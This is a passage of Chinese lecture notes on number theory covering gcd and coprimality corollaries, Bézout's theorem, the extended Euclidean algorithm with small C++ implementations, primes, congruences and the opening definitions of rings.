($\Rightarrow$) $e \mid \gcd(a, b) \mid a$，$e \mid \gcd(a, b) \mid b$．&lt;br /&gt;
($\Leftarrow$) 由 Bézout 定理，设 $\gcd(a, b) = ka + lb$，$k,l \in \mathbb Z$．由 $e \mid a$ 且 $e \mid b$ 得 $e \mid (ka + lb) = \gcd(a, b)$．
:::&lt;/p&gt;
&lt;p&gt;:::note[互素]
若 $\gcd(a, b) = 1$，则称 $a$ 与 $b$ &lt;strong&gt;互素&lt;/strong&gt;，记作 $a \perp b$．
:::&lt;/p&gt;
&lt;p&gt;:::important[推论]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;(&lt;strong&gt;零&lt;/strong&gt;) 与 $0$ 互素的整数只有 $\pm 1$．&lt;/li&gt;
&lt;li&gt;(&lt;strong&gt;幺&lt;/strong&gt;) $\pm 1$ 与所有整数互素．&lt;/li&gt;
&lt;li&gt;(&lt;strong&gt;互素化&lt;/strong&gt;) 记 $d = \gcd(a, b)$，则 $\dfrac{a}{d} \perp \dfrac{b}{d}$．&lt;/li&gt;
&lt;li&gt;(&lt;strong&gt;排除异己&lt;/strong&gt;) 若 $a \perp b$，则 $a \mid bc$ 蕴含 $a \mid c$．&lt;/li&gt;
&lt;li&gt;(&lt;strong&gt;排除异己&lt;/strong&gt;) 若 $a \perp b$，则 $\gcd(a, bc) = \gcd(a, c)$．&lt;/li&gt;
&lt;li&gt;(&lt;strong&gt;Euclid 互素定理&lt;/strong&gt;) $a \perp m$ 且 $b \perp m$，当且仅当 $ab \perp m$．&lt;/li&gt;
&lt;li&gt;(&lt;strong&gt;互素组对&lt;/strong&gt;) 若 $\forall, i, j$ 有 $a_i \perp b_j$，则 $\prod_i a_i \perp \prod_j b_j$．&lt;/li&gt;
&lt;li&gt;(&lt;strong&gt;互素乘积&lt;/strong&gt;) 若 $a \perp b$，则 $a \mid m$ 且 $b \mid m$ 蕴含 $ab \mid m$．&lt;/li&gt;
&lt;li&gt;(&lt;strong&gt;一般乘积&lt;/strong&gt;) 记 $d = \gcd(a, b)$，则 $a \mid m$ 且 $b \mid m$ 蕴含 $\left. \dfrac{ab}{d} ,\middle|, m \right.$，即 $\text{lcm}(a, b) \mid m$．&lt;/li&gt;
&lt;li&gt;(&lt;strong&gt;互素空间的交&lt;/strong&gt;) 若 $a \perp b$，则 $a \mathbb Z \cap b \mathbb Z = ab \mathbb Z$．&lt;/li&gt;
&lt;li&gt;(&lt;strong&gt;一般空间的交&lt;/strong&gt;) 记 $d = \gcd(a, b)$，则 $a \mathbb Z \cap b \mathbb Z = \dfrac{ab}{d} , \mathbb Z = \text{lcm}(a, b) ,\mathbb Z$．&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;:::tip[推论 3 的证明]
记 $d = \gcd(a, b)$，则 $d \mid a$ 且 $d \mid b$，于是
$$
d = \gcd(a, b) = d \gcd\Big(\dfrac{a}{d}, \dfrac{b}{d}\Big)
$$
可得 $\gcd\Big(\dfrac{a}{d}, \dfrac{b}{d}\Big) = 1$，因此 $\dfrac{a}{d} \perp \dfrac{b}{d}$．
:::&lt;/p&gt;
&lt;p&gt;:::tip[推论 4 的证明]
$\gcd(a, b) = 1$，由 Bézout 定理，设
$$
ka + lb = 1
$$
由 $a \mid bc$，设 $ad = bc$．欲证 $a \mid c$，为消去 $b$，上式两边同乘以 $c$，代入得
$$
kac + lbc = kac + lad = a(kc + ld) = c
$$
因此 $a \mid c$．
:::&lt;/p&gt;
&lt;p&gt;:::tip[推论 5 的证明]
设 $d = \gcd(a, bc)$，$e = \gcd(a, c)$．&lt;br /&gt;
由 $a \perp b$ 得 $d \perp b$，又 $d \mid bc$，故 $d \mid c$，结合 $d \mid a$ 可得 $d \mid e$．&lt;br /&gt;
由 $e \mid a$ 且 $e \mid c \mid bc$ 得 $e \mid d$．&lt;br /&gt;
故 $|d| = |e|$，即 $d = e$．
:::&lt;/p&gt;
&lt;p&gt;:::tip[推论 6 的证明]
下面使用 Bézout 定理进行证明：&lt;/p&gt;
&lt;p&gt;($\Rightarrow$) 存在 $k_1, l_1, k_2, l_2 \in \mathbb Z$，使得
$$
\begin{aligned}
k_1a + l_1m &amp;amp;= 1 \
k_2b + l_2m &amp;amp;= 1
\end{aligned}
$$
两式相乘，整理得
$$
(k_1k_2)ab + (k_1l_2a + k_2l_1b + l_1l_2m)m = 1
$$
于是 $\gcd(ab, m) = 1$，因此 $ab \perp m$．&lt;/p&gt;
&lt;p&gt;($\Leftarrow$) 存在 $k, l \in \mathbb Z$，使得
$$
kab + lm = 1
$$
我们有
$$
\begin{aligned}
(kb)a + lm &amp;amp;= 1 \
(ka)b + lm &amp;amp;= 1
\end{aligned}
$$
于是 $\gcd(a, m) = 1$ 且 $\gcd(b, m) = 1$，因此 $a \perp m$ 且 $b \perp m$．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;从算术基本定理的角度来看，这个定理是显然的．
:::&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::tip[推论 8 的证明]
由于 $a \mid m$，$b \mid m$，不妨设 $m = ak$，则 $b \mid ak$，又因为 $b \perp a$，所以 $b \mid k$，从而 $ab \mid ak = m$．
:::&lt;/p&gt;
&lt;p&gt;:::tip[推论 9 的证明]
记 $d = \gcd(a, b)$，由于 $a \mid m$ 且 $b \mid m$，不妨设 $m = ak$．&lt;br /&gt;
则 $b \mid ak$，$\left. \dfrac{b}{d} ,\middle|, \dfrac{a}{d}k \right.$，而 $\dfrac{b}{d} \perp \dfrac{a}{d}$，故 $\left. \dfrac{b}{d} ,\middle|, k \right.$，因此 $\left. \dfrac{ab}{d} ,\middle|, ak \right. = m$．
:::&lt;/p&gt;
&lt;p&gt;:::tip[推论 10 的证明]
记 $M_1 = a \mathbb Z \cap b \mathbb Z$，$M_2 = ab \mathbb Z$．&lt;br /&gt;
任取 $m \in M_1$，则 $a \mid m$ 且 $b \mid m$，又因 $a \perp b$，故 $ab \mid m$，即 $m \in M_2$，于是 $M_1 \sub M_2$．&lt;br /&gt;
任取 $m \in M_2$，则 $ab \mid m$，得 $a \mid m$ 且 $b \mid m$，即 $m \in M_1$，于是 $M_2 \sub M_1$．&lt;br /&gt;
故 $M_1 = M_2$．
:::&lt;/p&gt;
&lt;p&gt;:::tip[推论 11 的证明]
记 $d = \gcd(a, b)$，$M_1 = a \mathbb Z \cap b \mathbb Z$，$M_2 = \dfrac{ab}{d} , \mathbb Z$．&lt;br /&gt;
任取 $m \in M_1$，则 $a \mid m$ 且 $b \mid m$，于是 $\left. \dfrac{ab}{d} ,\middle|, m \in M_2 \right.$，因此 $M_1 \sub M_2$．&lt;br /&gt;
任取 $m \in M_2$，则 $\left. \dfrac{ab}{d} ,\middle|, m \right.$，得 $a \mid m$ 且 $b \mid m$，于是 $m \in M_1$，因此 $M_2 \sub M_1$．&lt;br /&gt;
综上，$M_1 = M_2$．
:::&lt;/p&gt;
&lt;p&gt;:::important[lcm 的推论]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;若 $\gcd(a, b) = 1$，则 $\text{lcm}(a, b) = |ab|$．&lt;/li&gt;
&lt;li&gt;$\gcd(a, b) ,\text{lcm}(a, b) = |ab|$．&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;:::tip[推论 1 的证明]
任取 $a$ 和 $b$ 的 (正) 公倍数 $m$，则 $a \mid m$ 且 $b \mid m$，又因 $\gcd(a, b) = 1$，于是 $ab \mid m$．得 $|ab| \le m$，而 $|ab|$ 也是 $a$ 和 $b$ 的 (正) 公倍数，因此等号可以成立，$\text{lcm}(a, b) = |ab|$．&lt;/p&gt;
&lt;p&gt;更直接的证法是：因为 $a \perp b$，所以公倍数集
$$
a \mathbb Z \cap b \mathbb Z = ab \mathbb Z
$$
于是 $\text{lcm}(a, b) = |ab|$．
:::&lt;/p&gt;
&lt;p&gt;:::tip[推论 2 的证明]
可以通过相互整除证明，下面使用更直接的证明方法：
$$
a \mathbb Z \cap b \mathbb Z = \dfrac{ab}{\gcd(a, b)} \mathbb Z
$$
于是 $\text{lcm}(a, b) = \left|\dfrac{ab}{\gcd(a, b)}\right|$，即 $\gcd(a, b) ,\text{lcm}(a, b) = |ab|$．
:::&lt;/p&gt;
&lt;h2&gt;Bézout 定理&lt;/h2&gt;
&lt;p&gt;:::note[辗转相除法]
设 $a, b \in \mathbb Z$，且 $a^2 + b^2 &amp;gt; 0$，带余除法 $a = qb + r$，只要 $|a - qb| &amp;lt; |b|$，算法
$$
\gcd(a, b) = \gcd(b, a - qb) = \cdots
$$
将终止于 $\gcd(d, 0)$，此时 $|d|$ 即为 $\gcd(a, b)$．
:::&lt;/p&gt;
&lt;p&gt;:::tip[正确性证明]
记 $D_{ab}$ 为 $a$ 和 $b$ 的公因数集，$D_{br}$ 为 $b$ 和 $r$ 的公因数集，我们将证明 $D_{ab} = D_{br}$．&lt;br /&gt;
任取 $d \in D_{ab}$，则 $d \mid (a - qb) = r$，故 $d \in D_{br}$，即 $D_{ab} \sub D_{br}$．&lt;br /&gt;
又任取 $d \in D_{br}$，则 $d \mid (qb + r) = a$，故 $d \in D_{ab}$，即 $D_{br} \sub D_{ab}$．&lt;br /&gt;
因此 $D_{ab} = D_{br}$，从而 $\gcd(a, b) = \gcd(b, r)$，即 $\gcd(a, b) = \gcd(b, a - qb)$．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;容易归纳证明 (固定步数后，寻找最小的一组 $a$ 和 $b$ 作为最差情况)，当 $a$ 和 $b$ 为 Fibonacci 数列邻项时，算法达到最差计算复杂度 $O(\log \min (a, b))$．由于每次带余除法都将余数折半，因此该算法十分高效．
:::&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::warning[向零取整]
我们看到，辗转相除法的正确性仅依赖于 $a$ 和 $r$ 互相被线性组合表示，不过可终止性依赖于 $|a - qb| &amp;lt; |b|$，因此可以让带余除法的商向零取整，即 C/C++ 的整数除法．
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void gcd(i64 a, i64 b, i64 &amp;amp;d) {
    assert(a != 0 || b != 0);
    i64 *cur, *pre;
    for (cur = &amp;amp;a, pre = &amp;amp;b; *pre; std::swap(cur, pre)) {
        if (std::abs(*cur) &amp;gt;= std::abs(*pre)) {
            i64 q = (*cur) / (*pre);
            (*cur) -= q * (*pre);
        }
    }
    d = *cur;
    if (d &amp;lt; 0) d = -d;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::note[Bézout 定理]
总存在 $k,l \in \mathbb Z$，使得 $\gcd(a, b) = ka + lb$，即&lt;strong&gt;最大公因数总能用线性组合表示&lt;/strong&gt;．
:::&lt;/p&gt;
&lt;p&gt;:::tip[证明]
考虑辗转相除法
$$
\begin{aligned}
a &amp;amp;= q_1 b + r_1 \
&amp;amp;\hspace{0.525em}\vdots \
r_{N-2} &amp;amp;= q_N r_{N-1} + r_N \
r_{N-1} &amp;amp;= q_{N+1} r_{N}
\end{aligned}
$$
$r_1$ 和 $r_2$ 都可以表示成 $a$ 和 $b$ 的线性组合，归纳得知 $r_N$ 也可以，$\gcd(a, b) = |r_N|$ 也可以．
:::&lt;/p&gt;
&lt;p&gt;:::important[推论]
记 $\text{span}(a, b) = {ka + lb : k,l \in \mathbb Z}$，则 $\text{span}(a, b) = \gcd(a, b) \mathbb Z$．
:::&lt;/p&gt;
&lt;p&gt;:::tip[证明]
记 $S_{ab} = \text{span}(a, b)$，$d = \gcd(a, b)$．由 Bézout 定理知 $d \in S_{ab}$，容易得到 $d \mathbb Z \sub S_{ab}$．另一方面，任取 $ka + lb \in S_{ab}$，有 $ka + lb = (ka / d + lb / d) d \in d \mathbb Z$，于是 $S_{ab} \sub d \mathbb Z$．因此 $S_{ab} = d \mathbb Z$．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;可以说 &lt;strong&gt;$\gcd$ 是“张成空间”的基&lt;/strong&gt;，它告诉了我们有关该线性组合的全部信息．只要我们得到了 $\gcd$，就能有序地获取所有线性组合．我们也可以通过观察“张成空间”来反推 $\gcd$ 的一些性质．
:::&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::tip[循环群的子群]
循环群 $G = \langle g \rangle$ 的子群 $H$ 必为循环群．设 $I = {k \in \mathbb Z : g^k \in H}$，则 $H = {g^k \in G : k \in I}$．&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;若 $H$ 是平凡群，显然也是循环群；&lt;/li&gt;
&lt;li&gt;否则取 $d = \gcd,I$，由 Bézout 定理可知，$d$ 可被 $I$ 中所有数的线性组合表示．&lt;br /&gt;
因为 $H$ 的封闭性，所以 $d \in I$．我们将证明 $H = \langle g^d \rangle$：一方面 $\forall, k \in I$，$d \mid k$，故 $I \sub d \mathbb Z$；&lt;br /&gt;
另一方面 $H$ 是群，容易得知 $I$ 是 $\mathbb Z$ 的加法子群，又因为 $d \in I$，故 $d \mathbb Z \sub I$．&lt;br /&gt;
所以 $I = d \mathbb Z$，$H = {g^{dk} \in G : {dk} \in d \mathbb Z} = {(g^d)^k \in G : k \in \mathbb Z} = \langle g^d \rangle$．&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;:::note[扩展 Euclid 算法]
设 $a, b \in \mathbb Z$，且 $a^2 + b^2 &amp;gt; 0$，欲寻找 $\gcd(a, b)$ 其中一种线性组合表示．考虑从
$$
\begin{cases}
1 \cdot a + 0 \cdot b = a \
0 \cdot a + 1 \cdot b = b
\end{cases}
$$
开始，对其增广矩阵
$$
\begin{pmatrix}
1 &amp;amp; 0 &amp;amp; a \
0 &amp;amp; 1 &amp;amp; b
\end{pmatrix}
$$
进行有限次初等行变换，最终得到行
$$
\begin{pmatrix}
k &amp;amp; l &amp;amp; \gcd(a, b)
\end{pmatrix}
$$
对应的方程正是
$$
ka + lb = \gcd(a, b)
$$
而这只需让每次初等行变换对应于增广列的辗转相除法的每一步即可：
$$
\cdots
\rightarrow
\begin{pmatrix}
s &amp;amp; t &amp;amp; g \
m &amp;amp; n &amp;amp; h
\end{pmatrix}
\rightarrow
\begin{pmatrix}
m &amp;amp; n &amp;amp; h \
s-qm &amp;amp; t-qn &amp;amp; g-qh
\end{pmatrix}
\rightarrow
\cdots
\rightarrow
\begin{pmatrix}
k &amp;amp; l &amp;amp; \gcd(a, b) \
K &amp;amp; L &amp;amp; 0
\end{pmatrix}
$$
:::&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void exgcd(i64 a, i64 b, i64 &amp;amp;x, i64 &amp;amp;y, i64 &amp;amp;d) {
    assert(a != 0 || b != 0);
    i64 M[2][3] = {{1, 0, a}, {0, 1, b}};
    i64 *cur, *pre;
    for (cur = M[0], pre = M[1]; pre[2]; std::swap(cur, pre)) {
        if (std::abs(cur[2]) &amp;gt;= std::abs(pre[2])) {
            i64 q = cur[2] / pre[2];
            cur[0] -= q * pre[0];
            cur[1] -= q * pre[1];
            cur[2] -= q * pre[2];
        }
    }
    x = cur[0], y = cur[1], d = cur[2];
    if (d &amp;lt; 0) x = -x, y = -y, d = -d;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::note[线性不定方程的特解]
线性不定方程 $ax + by = m$ 有解，当且仅当 $\gcd(a, b) \mid m$．&lt;br /&gt;
此时设 $m = e \gcd(a, b)$，取 $\gcd(a, b) = ka + lb$，则
$$
m = e(ka + lb) = a \cdot ek + b \cdot el
$$
得到特解 $(x_0, y_0) = (ek, el)$．
:::&lt;/p&gt;
&lt;p&gt;:::note[线性不定方程的通解]
若线性不定方程 $ax + by = m$ 有特解 $(x_0, y_0)$，则通解 ($k \in \mathbb Z$) 为
$$
\begin{cases}
x = x_0 + k \cdot \dfrac{b}{\gcd(a, b)} \[1em]
y = y_0 - k \cdot \dfrac{a}{\gcd(a, b)}
\end{cases}
$$
:::&lt;/p&gt;
&lt;p&gt;:::tip[通解的证明]
已有 $ax_0 + by_0 = m$，再设通解 $(x, y)$ 满足  ，则
$$
a(x - x_0) = b(y_0 - y)
$$
对 $a$ 和 $b$ 互素化，得
$$
\dfrac{a}{\gcd(a, b)}(x - x_0) = \dfrac{b}{\gcd(a, b)}(y_0 - y)
$$
于是
$$
\left. \dfrac{a}{\gcd(a, b)} ,\middle|, \dfrac{b}{\gcd(a, b)}(y_0 - y) \right.
$$
又因为 $\dfrac{a}{\gcd(a, b)} \perp \dfrac{b}{\gcd(a, b)}$，故
$$
\left. \dfrac{a}{\gcd(a, b)} ,\middle|, (y_0 - y) \right.
$$
可设 $\dfrac{a}{\gcd(a, b)} \cdot k = y_0 - y$，$k \in \mathbb Z$，代回 $a(x - x_0) = b(y_0 - y)$ 得证．
:::&lt;/p&gt;
&lt;h2&gt;素数&lt;/h2&gt;
&lt;p&gt;:::note[素数]
设 $n \in \mathbb N$ 且 $n &amp;gt; 1$，若 $n$ 因数只有 $1$ 和 $n$，则称 $n$ 是&lt;strong&gt;素数&lt;/strong&gt;，否则是&lt;strong&gt;合数&lt;/strong&gt;．
:::&lt;/p&gt;
&lt;p&gt;:::warning[负素数？]
在整环 $(R, +, \cdot)$ 中，若元素 $p \in R$ 满足&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;非零元：$p \ne 0$；&lt;/li&gt;
&lt;li&gt;非单位：$\nexists, q$，$pq = 1$，即 $p$ 不是可逆元；&lt;/li&gt;
&lt;li&gt;素性：$\forall a, b \in R$，若 $p \mid ab$ (即 $\exists, k \in R$，$ab = pk$)，则 $p \mid a$ 或 $p \mid b$．&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;则称 $p$ 为&lt;strong&gt;素元&lt;/strong&gt;．&lt;/p&gt;
&lt;p&gt;由于正负不影响整除关系，我们可以在 $\mathbb Z$ 上定义负素数：&lt;strong&gt;$p$ 和 $-p$ 总是同为素数或同为合数&lt;/strong&gt;．但这会让各种描述变得拗口，因此若无特殊说明，以下内容的论域均为 $\mathbb N$：&lt;strong&gt;素数一般指正素数，因数一般指正因数&lt;/strong&gt;．
:::&lt;/p&gt;
&lt;p&gt;:::important[推论]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$\mathbb N$ 被分为三类：$1$，素数，合数．&lt;/li&gt;
&lt;li&gt;合数的最小非平凡因数是素数．&lt;/li&gt;
&lt;li&gt;素数有无穷多个．&lt;/li&gt;
&lt;li&gt;(&lt;strong&gt;素性&lt;/strong&gt;，&lt;strong&gt;Euclid 整除定理&lt;/strong&gt;) 设 $a, b \in \mathbb Z$，$p$ 是素数，若 $p \mid ab$，则 $p \mid a$ 或 $p \mid b$．&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;:::tip[推论 2 的证明]
设 $N$ 是合数，其最小非平凡因数 $p$ 满足 $1 &amp;lt; p &amp;lt; N$ 且 $p \mid N$．&lt;br /&gt;
假设 $p$ 是合数，任取其非平凡因数 $q$ 满足 $1 &amp;lt; q &amp;lt; p$ 且 $q \mid p$．&lt;br /&gt;
于是 $q \mid N$，这与 $p$ 是 $N$ 的最小非平凡因数矛盾．&lt;br /&gt;
因此 $p$ 是素数．
:::&lt;/p&gt;
&lt;p&gt;:::tip[推论 3 的证明]
(反证法) 假设仅有的 $k$ 个素数为 ${p_k}&lt;em&gt;{i=1}^k$．&lt;br /&gt;
令 $N = \prod&lt;/em&gt;{i=1}^k p_i + 1$，显然 $1 &amp;lt; p_i &amp;lt; N$，$i = 1, \cdots, k$，因此 $N$ 是合数．&lt;br /&gt;
取 $N$ 的最小非平凡因数 $p$，则 $p \mid N$ 且 $p$ 是素数．设 $p = p_i$，那么 $p \mid \prod_{i=1}^k p_i$．&lt;br /&gt;
故 $p \mid (N - \prod_{i=1}^k p_i) = 1$，即 $p = 1$，这与 $p$ 是素数矛盾．&lt;br /&gt;
因此素数有无穷多个．
:::&lt;/p&gt;
&lt;p&gt;:::tip[推论 4 的证明]
若 $p \mid a$ 则证明完毕，于是设 $p \nmid a$，考虑是否有 $p \perp a$ 从而有 $p \mid b$．&lt;br /&gt;
由于素数 $p$ 只有因数 $1$ 和 $p$，所以 $\gcd(p, a)$ 只可能是 $1$ 或 $p$，而 $p \nmid a$，所以 $\gcd(p, a) = 1$．&lt;br /&gt;
因为 $p \mid ab$，且 $p \perp a$，所以 $p \mid b$．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;素性意味着不可分解，是素数的本质&lt;/strong&gt;，等价于算数基本定理中分解的唯一性．
:::&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::note[算术基本定理]
对于所有的 $n \in \mathbb N$ 且 $n &amp;gt; 1$，都存在唯一的素因数分解
$$
n = \prod_{i=1}^k p_i^{\alpha_i}
$$
其中 $p_i$ 是素数且互异，$\alpha_i \in \mathbb N$，$i = 1, \cdots, k$．
:::&lt;/p&gt;
&lt;p&gt;:::tip[证明]
若 $n$ 是素数，则分解完成．若 $n$ 是合数，取其最小非平凡因数 $1 &amp;lt; p &amp;lt; n$，则 $p$ 是素数．&lt;br /&gt;
$p$ 的唯一性是显然的，因此下面对 $n$ 的分解也是唯一的．
$$
n = p \cdot \dfrac{n}{p}
$$
对 $\dfrac{n}{p}$ 重复上述分解操作．由于 $\dfrac{n}{p} &amp;lt; n$，分解将终止，便得到 $n$ 唯一的素因数分解．&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;虽然有更严谨的归纳证明，但比较麻烦，个人更喜欢简洁的程序证明．
:::&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;同余&lt;/h2&gt;
&lt;p&gt;:::note[同余]
若 $m \mid (a - b)$，则称 $a$ 与 $b$ 模 $m$ &lt;strong&gt;同余&lt;/strong&gt;，记作
$$
a \equiv b \pmod m
$$
容易证明，这等价于在带余除法 $a = q_1m + r_1$ 和 $b = q_2m + r_2$ 中，$r_1 = r_2$．
:::&lt;/p&gt;
&lt;p&gt;:::warning[负模数？]
由于正负不影响整除关系，$a \equiv b \pmod m$ 等价于 $a \equiv b \pmod{(-m)}$．&lt;/p&gt;
&lt;p&gt;因此若无特殊说明，&lt;strong&gt;模数 $m$ 总是正整数&lt;/strong&gt;．
:::&lt;/p&gt;
&lt;p&gt;:::important[推论]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;同余是&lt;strong&gt;等价关系&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;自反性：$a \equiv a \pmod m$；&lt;/li&gt;
&lt;li&gt;对称性：若 $a \equiv b \pmod m$，则 $b \equiv a \pmod m$；&lt;/li&gt;
&lt;li&gt;传递性：若 $a \equiv b \pmod m$，$b \equiv c \pmod m$，则 $a \equiv c \pmod m$．&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;线性运算&lt;/strong&gt;：若 $a \equiv b \pmod m$，$c \equiv d \pmod m$，则
&lt;ul&gt;
&lt;li&gt;同余式的和：$a + c \equiv b + d \pmod m$；&lt;/li&gt;
&lt;li&gt;同余式的积：$ac \equiv bd \pmod m$．&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;一般缩放&lt;/strong&gt;：若 $k \in \mathbb Z$，且 $k \ne 0$，则 $ka \equiv kb \pmod{km}$ 等价于 $a \equiv b \pmod m$．&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;模数因数&lt;/strong&gt;：若 $a \equiv b \pmod {km}$，则 $a \equiv b \pmod m$．&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;互素消去&lt;/strong&gt;：若 $ka \equiv kb \pmod m$，且 $k \perp m$，则 $a \equiv b \pmod m$．&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;一般消去&lt;/strong&gt;：若 $ka \equiv kb \pmod m$，则 $a \equiv b \pmod{\dfrac{m}{\gcd(k, m)}}$．&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;:::note[乘法逆元]
设 $a, x, m \in \mathbb Z$，$m \ne 0$，考查同余方程
$$
ax \equiv 1 \pmod m
$$
若 $a \perp m$，则方程在模 $m$ 意义下有唯一解，称该解为 $a$ 的&lt;strong&gt;乘法逆元&lt;/strong&gt;，记作 $a^{-1}$．否则方程无解．
:::&lt;/p&gt;
&lt;p&gt;:::note[线性同余方程]
设 $a, b, x, m \in \mathbb Z$，$m \ne 0$，考查同余方程
$$
ax \equiv b \pmod m
$$
若 $\gcd(a, m) \mid b$，则方程在模 $m$ 意义下有 $\gcd(a, m)$ 个不同的解：
$$
x \equiv x_0 + k \cdot \dfrac{m}{\gcd(a, m)} \pmod m
$$
否则方程无解．
:::&lt;/p&gt;
&lt;p&gt;:::tip[循环群的生成元]
设 $G$ 是循环群，$|G| = m$，$G$ 的生成元个数
$$
\begin{aligned}
#{g^a \in G : \langle g^a \rangle = G}
&amp;amp;= #{g^a \in G : \forall, 0 \le b &amp;lt; m, \exists, x \in \mathbb Z, (g^a)^x = g^b} \
&amp;amp;= #{0 \le a &amp;lt; m : \forall, 0 \le b &amp;lt; m, \exists, x \in \mathbb Z, ax \equiv b \pmod m} \
&amp;amp;= #{0 \le a &amp;lt; m : \forall, 0 \le b &amp;lt; m, \gcd(a, m) \mid b} \
&amp;amp;= #{0 \le a &amp;lt; m : \gcd(a, m) \mid \gcd(0, 1, \cdots, m - 1)} \
&amp;amp;= #{0 \le a &amp;lt; m : \gcd(a, m) \mid 1} \
&amp;amp;= #{0 \le a &amp;lt; m : \gcd(a, m) = 1} \
&amp;amp;= \varphi(m)
\end{aligned}
$$
其中 $\varphi(m)$ 是 Euler 函数，后面我们将正式定义它．&lt;br /&gt;
可见 $g^k$ 是循环群 $G$ 的生成元，当且仅当 $k \perp |G|$．
:::&lt;/p&gt;
&lt;p&gt;:::note[同余类]
设 $m \in \mathbb N$，$r \in \mathbb Z$，定义 $r$ 的&lt;strong&gt;模 $m$ 同余类&lt;/strong&gt;
$$
[r]_m = {x : x \equiv r \pmod m}
$$
:::&lt;/p&gt;
&lt;p&gt;:::important[推论]
根据同余的定义，容易得到
$$
[r]_m = r + m \mathbb Z
$$
模 $m$ 同余关系是等价关系，因此模 $m$ 同余类就是模 $m$ 同余关系的&lt;strong&gt;等价类&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$[a]_m = [b]_m$ 当且仅当 $a \equiv b \pmod m$．&lt;/li&gt;
&lt;li&gt;要么 $[a]_m = [b]_m$，要么 $[a]_m \cap [b]_m = \empty$．&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;p&gt;:::tip[$\mathbb Z / m \mathbb Z$]
容易证明，$\mathbb Z$ 关于模 $m$ 同余关系的&lt;strong&gt;商集&lt;/strong&gt;为
$$
\mathbb Z / m \mathbb Z = {[r]_m : 0 \le r &amp;lt; m}
$$
我们注意到，任取 $x \in [r]_m$ 和 $y \in [s]_m$，都有
$$
\begin{aligned}
x + y &amp;amp;\in [r + s]_m \
xy &amp;amp;\in [rs]_m
\end{aligned}
$$
这提示我们可以在 $\mathbb Z / m \mathbb Z$ 上定义
$$
\begin{aligned}
[a]_m + [b]_m &amp;amp;= [a + b]_m \
[a]_m \cdot [b]_m &amp;amp;= [ab]_m
\end{aligned}
$$
容易证明它们是良定义的 (不依赖于具体的代表元)，此时 $(\mathbb Z / m \mathbb Z, +, \cdot)$ 构成了代数，简记成 $\mathbb Z / m \mathbb Z$．
:::&lt;/p&gt;
&lt;h2&gt;环&lt;/h2&gt;
&lt;p&gt;:::note[环]
今有&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$R \ne \empty$，&lt;/li&gt;
&lt;li&gt;$+: R \times R \rightarrow R$，&lt;/li&gt;
&lt;li&gt;$\cdot: R \times R \rightarrow R$，&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;满足&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;$(R, +)$ 构成交换群，其幺元作为环的&lt;strong&gt;零元&lt;/strong&gt; $0$，&lt;/li&gt;
&lt;li&gt;$(R, \cdot)$ 构成半群，&lt;/li&gt;
&lt;li&gt;分配律：$\forall, a, b, c \in R$，$a \cdot (b + c) = a \cdot b + a \cdot c$ 且 $(a + b) \cdot c = a \cdot c + b \cdot c$，&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;则称 $(R, +, \cdot)$ 是&lt;strong&gt;环&lt;/strong&gt;．
:::&lt;/p&gt;
&lt;p&gt;:::important[形形色色的环]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;幺环&lt;/strong&gt;：$(R, \cdot)$ 是幺半群，其幺元作为环的&lt;strong&gt;幺元&lt;/strong&gt; $1$．&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;交换环&lt;/strong&gt;：$(R, \cdot)$ 是交换群．&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;零环&lt;/strong&gt;：$({0}, +, \cdot)$，其中 $0$ 是加法幺元．
&lt;ul&gt;
&lt;li&gt;零环是含幺交换环．&lt;/li&gt;
&lt;li&gt;$|R| = 1$，当且仅当 $R$ 是零环．&lt;/li&gt;
&lt;li&gt;$0 = 1$，当且仅当 $R$ 是零环．&lt;/li&gt;
&lt;li&gt;$0$ 不可逆，除非 $R$ 是零环．&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;零因子&lt;/strong&gt;：在非零环中，对于 $a \in R$ 且 $a \ne 0$，如果 $\exists, b \in R$ 且 $b \ne 0$，满足
$$
